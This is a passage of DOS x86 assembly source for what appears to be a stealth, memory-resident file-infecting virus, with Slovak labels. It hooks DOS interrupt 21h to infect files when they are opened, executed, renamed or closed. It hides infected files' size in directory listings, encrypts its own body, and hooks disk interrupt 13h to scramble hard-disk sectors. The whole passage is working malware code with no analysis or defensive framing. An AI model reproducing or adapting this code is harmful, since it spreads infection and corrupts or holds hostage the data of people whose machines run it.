    mov ax,4409h
    call Int21
    jc oinok
    test dh,10h
    jnz oiok ;in network
    oinok: stc
    okon: pop ax
    pop es
    pop ds
    pop di
    pop si
    pop cx
    pop bx
    pop dx
    ret
    oiok:; mov ax,0e07h
    ; int 10h
    clc
    jmp okon
    Over ENDP
    Porovnaj PROC near
    push di
    lodsb
    mov cl,al
    mov ax,si
    add ax,cx
    repe cmpsb
    mov si,ax
    pop di
    ret
    Porovnaj ENDP

    Identify PROC near ;is file inf. ?
    push dx
    mov ax,es:[bx+2]
    xor dx,dx
    div cs:v30
    mov ax,es:[bx]
    and al,11111b
    cmp al,dl
    stc
    je iekon ;already infected
    mov ax,es:[bx]
    and ax,0ffe0h
    or al,dl
    clc
    iekon: pop dx
    ret
    Identify ENDP

    Subdlz PROC near
    sub word ptr es:[bx],DLZVIR
    sbb word ptr es:[bx+2],0
    jnc npret
    add word ptr es:[bx],DLZVIR
    adc word ptr es:[bx+2],0
    npret: ret
    Subdlz ENDP
    ;************** TSR 21h part *************
    Infname PROC near ;DS:DX = file name
    push ax
    push bx
    push cx
    push si
    push di
    push bp
    push ds
    push es
    call Nastav24
    mov ax,4300h
    call Int21
    mov cs:attrib,cx
    mov ax,4301h
    xor cx,cx
    call Int21
    jc err1
    mov ax,3d02h
    call Int21
    jc err2
    push dx
    push ds
    push cs
    pop ds
    push cs
    pop es
    mov handle,ax
    call Infikuj
    mov ah,3eh
    call Mhandle
    pop ds
    pop dx
    err2: mov ax,4301h
    DB 0b9h
    attrib DW ? ;mov cx,attrib
    call Int21
    err1: call Vrat24
    pop es
    pop ds
    pop bp
    pop di
    pop si
    pop cx
    pop bx
    pop ax
    ret
    Infname ENDP

    res21: pushf
    sti
    cmp ah,11h
    je dtrad
    cmp ah,12h
    jne dnxt
    dtrad: jmp short con1 ;switched jump condition
    con1: push bx
    push es
    push ax
    mov ah,2fh
    call Int21
    pop ax
    call Int21
    cmp al,0ffh
    je dterr
    push ax
    cmp byte ptr es:[bx],0ffh
    jne nrozs
    add bx,7
    nrozs: add bx,17h
    call Identify
    pop ax
    jnc dterr
    add bx,1dh-17h
    call Subdlz
    dterr: pop es
    pop bx
    popf
    iret
    dnxt: cmp ah,4eh
    je drozs
    cmp ah,4fh
    jne ndnxt
    drozs: push bx
    push es
    push ax
    mov ah,2fh
    call Int21
    pop ax
    call Int21
    jc droze
    push ax
    add bx,16h
    call Identify
    pop ax
    jnc drozne
    add bx,1ah-16h
    call Subdlz
    drozne: pop es
    pop bx
    popf
    clc
    retf 2
    droze: pop es
    pop bx
    popf
    stc
    retf 2
    ndnxt: cmp ax,4b53h
    jne obrnxt
    mov ax,454bh
    popf
    iret
    obrnxt: cmp ah,4ch
    jne nkprg
    mov byte ptr cs:(OFFSET dtrad+1),0
    nkprg: cld
    push dx
    cmp ax,4b00h
    jne nsppg
    con3: jmp short miim
    miim: push ax
    push bx
    push ds
    push es
    mov ah,52h
    call Int21
    mov ax,es:[bx-02h]
    nmcb: mov ds,ax
    add ax,ds:03h
    inc ax
    cmp byte ptr ds:00h,'Z'
    jne nmcb
    mov bx,cs
    cmp ax,bx
    jne cpch
    mov byte ptr ds:00h,'M'
    xor ax,ax
    mov ds,ax
    add word ptr ds:0413h,POCKIL ;memory look improvement
    cpch: mov byte ptr cs:(OFFSET con3+1),OFFSET aiim-OFFSET miim
    pop es
    pop ds
    pop bx
    pop ax
    aiim: jmp short infac
    nsppg: cmp ah,3dh
    je infac
    ; cmp ah,43h
    ; je infac
    cmp ah,56h
    je infac
    cmp ax,6c00h
    jne nxts
    test dl,00010010b
    mov dx,si
    jz infac
    jmp short saveh
    nxts: cmp ah,3ch
    je saveh
    cmp ah,5bh
    je saveh
    cmp ah,3eh
    jne jor21
    cmp bx,cs:chandle
    jne jor21
    or bx,bx
    jz jor21
    call Int21
    jc mirets
    push ds
    push cs
    pop ds
    mov dx,OFFSET fname
    call Infname
    mov chandle,0
    pop ds
    miretc: pop dx
    popf
    clc
    retf 2
    jor21: pop dx
    popf
    jmp cs:oriv21

    infac: call Over
    jc jor21
    call Infname
    jmp short jor21

    saveh: cmp cs:chandle,0
    jne jor21
    call Over
    jc jor21
    mov cs:rhdx,dx
    pop dx
    push dx
    call Int21
    db 0bah
    rhdx DW ? ;mov dx,rhdx
    jnc shok
    mirets: pop dx
    popf
    stc
    retf 2
    shok: push cx
    push si
    push di
    push es
    xchg si,dx
    mov di,OFFSET chandle
    push cs
    pop es
    stosw
    mov cx,DLZFNB
    rep movsb
    pop es
    pop di
    pop si
    pop cx
    jmp short miretc

    DB 'DidYouLeaveTheRoom?'
    order DW 1230 ;very important year :)
    endvir LABEL near

    Zakoduj PROC near
    mov cx,DLZVIR
    xor dx,dx ;OFFSET stvir
    call zp1
    mov ah,40h
    mov bx,handle
    pushf
    DB 9ah ;call oriv21
    oriv21 DD ?
    jc zk1
    cmp ax,cx
    zk1: pushf
    call zp1
    popf
    ret
    zp1: push cx
    mov si,dx
    zkmax: mov ax,0000h
    mov cx,DLZVIR
    zp2: xor [si],ax
    zkaax: add ax,0000h
    inc si
    loop zp2
    pop cx
    ret
    Zakoduj ENDP

    res24: mov al,03h
    iret

    Int13 PROC near
    pushf
    call cs:oriv13
    ret
    Int13 ENDP
    Tosi PROC near
    push cx
    push dx
    shr cl,1
    shr cl,1
    and dh,11000000b
    or dh,cl
    mov cl,4
    shr dh,cl
    mov dl,ch
    xchg si,dx
    pop dx
    pop cx
    ret
    Tosi ENDP
    Skramb PROC near
    push ax
    push bx
    push cx
    DB 0b0h ;mov al,kolzak
    kolzak DB ?
    DB 0b8h ;mov bx,odkzak
    odkzak DW ?
    nxtss: mov cx,256
    ls1: xor word ptr es:[bx],1212h
    inc bx
    inc bx
    loop ls1
    dec al
    jnz nxtss
    pop cx
    pop bx
    pop ax
    ret
    Skramb ENDP
    res13: cmp ah,02h
    je rtc
    cmp ah,03h
    je rtc
    jmp jtoo
    rtc: cmp dx,0080h
    jne encode
    test cx,0ffc0h
    jnz encode
    push bx
    push dx
    push si
    push di
    push cx
    push cx
    mov si,ax
    and si,00ffh
    mov di,si
    mov al,01h
    push ax
    jz bzch ;if AL=0 do nothing
    jcxz gchi
    cmp cl,01h
    je obbs
    nxtsc: cmp cl,17 ;if sector number > max. then error
    ja gchi
    r13ds: cmp cl,07h
    jb ctoo
    cmp ah,03h
    je gchi
    push bx
    mov cx,512
    flbf: mov byte ptr es:[bx],00h
    inc bx
    loop flbf
    pop bx
    rtcom: add bx,512
    pop ax
    pop cx
    inc cx
    push cx
    push ax
    dec si
    jnz nxtsc
    bzch: clc
    zav: pop ax
    pushf
    xchg ax,di
    sub ax,si
    popf
    mov ah,ch
    pop cx
    pop cx
    pop di
    pop si
    pop dx
    pop bx
    retf 2
    obbs: mov cl,byte ptr cs:(OFFSET r13ds+2)
    ctoo: call Int13
    mov ch,ah
    jc zav
    jmp rtcom
    gchi: stc
    mov ch,0bbh ;undefined error
    jmp zav

    encode: cmp dl,80h ;encoding resp. decoding
    jne jtoo
    push ax
    push cx
    push dx
    push si
    push ds
    push cs
    pop ds
    mov kolzak,0
    mov odkzak,bx
    call Tosi
    and cl,3fh
    and dh,3fh
    chdnd: or al,al
    jz htvo
    cmp si,1234h ;max. cyl.
    jae htvo
    cnflte: cmp si,1234h ;min. cyl.
    jb tdal
    inc kolzak
    jmp short nxslp
    tdal: add odkzak,512
    nxslp: dec al
    inc cl
    DB 80h,0f9h,?
    jbe chdnd
    mov cl,1
    inc dh
    DB 80h,0feh,?
    jbe chdnd
    xor dh,dh
    inc si
    jmp chdnd
    htvo: cmp kolzak,0
    pop ds
    pop si
    pop dx
    pop cx
    pop ax
    je jtoo
    cmp ah,02h
    je eckn
    call Skramb
    eckn: call zInt13
    pushf
    call Skramb
    popf
    retf 2
    jtoo: DB 0eah
    oriv13 DD ?

    handle DW ?
    header strc <>
    off24 DW ?
    seg24 DW ?
    ftime DW ?
    fdate DW ?
    chandle DW ?
    fname DB DLZFNB DUP(?)
    ibuf LABEL byte ;variables for mutation
    caname DB DLZFNB DUP(1)

    endres LABEL near
    Vkod ENDS
    END start